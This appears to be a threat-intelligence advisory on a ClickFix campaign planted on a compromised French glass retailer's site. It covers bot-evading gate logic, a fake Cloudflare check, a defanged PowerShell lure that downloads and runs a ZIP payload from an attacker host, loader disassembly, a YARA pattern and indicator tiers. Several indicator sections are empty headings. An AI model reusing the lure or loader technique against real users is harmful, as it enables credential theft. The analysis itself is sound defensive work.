Omegatech ClickFix → EtherHiding → DonutLoader
two-tier gatekeeper & dual-chain delivery (WP-002 chain)

01Executive summary

The legitimate French glasswork retailer verrerie-farinelli.com was compromised and injected with the Omegatech WP-002 delivery kit. Two functionally distinct components run on the page.

Component A — the "gatekeeper-troll" (TDS gate). An injected script fingerprints each visitor by user-agent, referrer and URL, silently bailing on crawlers, scanners and analysis tooling (curl · wget · python · phantomjs · ahrefs · semrush · …) and on WordPress-internal and static-asset requests. Only for apparent human visitors does it base64-decode a failover URL list and inject a next stage via synchronous XHR → document.head. This is the "troll": researchers and bots are routed to nothing (or decoys), never the live payload.

Component B — the actual ClickFix. A fake, multilingual Cloudflare "verify you are human" overlay poisons the clipboard and instructs the visitor to press Win+R, paste, and run a PowerShell one-liner. That command downloads a ZIP, expands it into C:\ProgramData\<16-hex>\, and launches the dropped loader — leading to a CLR-hosted .NET infostealer and browser-credential theft with AES socket exfiltration.

02Attack chain

03Version rationale — why v14.0

Prior v13.x point-releases tracked new detonation waves and infrastructure rotation within one delivery architecture. This sample changes the architecture, so it earns a major bump.

Decision: same intrusion set & campaign, materially evolved TTPs → v14.0 under WP-001 (not a new series). v13.2 remains defensible if a single continuous IOC thread is preferred.

04Captured lure — the actual ClickFix

The clipboard payload delivered to targeted (non-analyst) visitors. Reproduced defanged and annotated as evidence; the live download URL is neutralised so this block is not directly runnable.

# fake progress banner — social-engineering theatre
cls; Write-Host "[hh:mm:ss] Starting Cloudflare verification..." # cosmetic
$url = 'hxxps://admetricslab[.]org/get_verify?i=16357'   # ZIP delivery host
$zip = "$env:TEMP\verify_pkg.zip"
$dest = 'C:\ProgramData\<16-hex>'                      # e.g. 2cfadd1cff65ff82
New-Object Net.WebClient + spoofed browser User-Agent → DownloadFile($url,$zip)
# if the fetch succeeds, prints "[OK] CloudFlare Services respond"
Expand-Archive $zip -DestinationPath $dest -Force
cmd /c "`"$dest\1.bat`" `"$dest\LockScreenContentServer.exe`" >nul 2>&1 &"
Write-Host "I am not a robot - Cloudflare ID: <16-hex>"       # fake reassurance

05Binary confirmation — .bin stages (v14.3)

Disassembly of student_s.bin and the std_enterprise stage confirms the MZER polyglot at the byte level on both branches. The two branches are identical through the stub except for a single byte — the high byte of the add rax displacement.

4D 5A 45 52            'MZER'  (MZ-lookalike header at offset 0)
E8 00 00 00 00         call $+5            ; GetPC
59                     pop rcx             ; rcx = RIP
48 83 E9 09            sub rcx, 9          ; rcx -> base of MZER
48 8B C1               mov rax, rcx
48 05 ?? ?? ?? ??      add rax, <imm32>    ; student=0x0004C000 · std=0x0000C000
FF D0                  call rax            ; enter real stage
C3                     ret
# YARA code-anchor (1 wildcard @ offset 21 covers both branches):
{ 4D 5A 45 52 E8 00 00 00 00 59 48 83 E9 09 48 8B C1 48 05 00 C0 ?? 00 FF D0 C3 }

Dropped package — DLL side-loading (T1574.002)

verify_pkg.zip drops three files. The EXE is a legitimate DUI-host binary used as bait; the malicious code rides in the co-located dui70.dll.

Runtime behavioral profile (VT Jujubox)

Detonation of both stages resolves what the static disassembly hid — and both resolve their socket and crypto APIs dynamically via GetProcAddress (T1027.007 / T1106), which is precisely why the ZIP-PE static imphashes never fingerprinted the malicious surface.

Memory forensics — injected .NET stealer (v14.3)

The injected svchost (PID 3032) region of the memdump carries the reflectively-loaded stealer. These managed types are present only in the injected svchost (a clean service host does not host them), so they are attributable to the stealer:

06Indicators of compromise

Network — actor infrastructure

Network — informational (do not blocklist)

Host artifacts

07Reporting trust tiers — handling before you report

Indicators below are split by how they should be reported, to prevent mis-reporting shared or victim infrastructure. Evidence tier: direct = decoded from a lure or observed serving a payload; in-chain = observed in detonation traffic alongside the confirmed chain, role inferred.

Tier 1 — Confirmed actor infrastructure (safe to report by IP)

Tier 2 — Actor domains on shared hosting (report the DOMAIN only, never the IP)

Tier 3 — Do NOT report (victim or abused-legitimate)

08Detection guidance

Companion files ship with this advisory: …-v14.3.yar (11 YARA rules), …-v14.3.sigma.yml (5 behavioral rules), …-v14.3.stix.json (STIX 2.1), and …-v14.3.abuseipdb.csv — all TLP:CLEAR.

09MITRE ATT&CK (Enterprise v16)

10Attribution & handling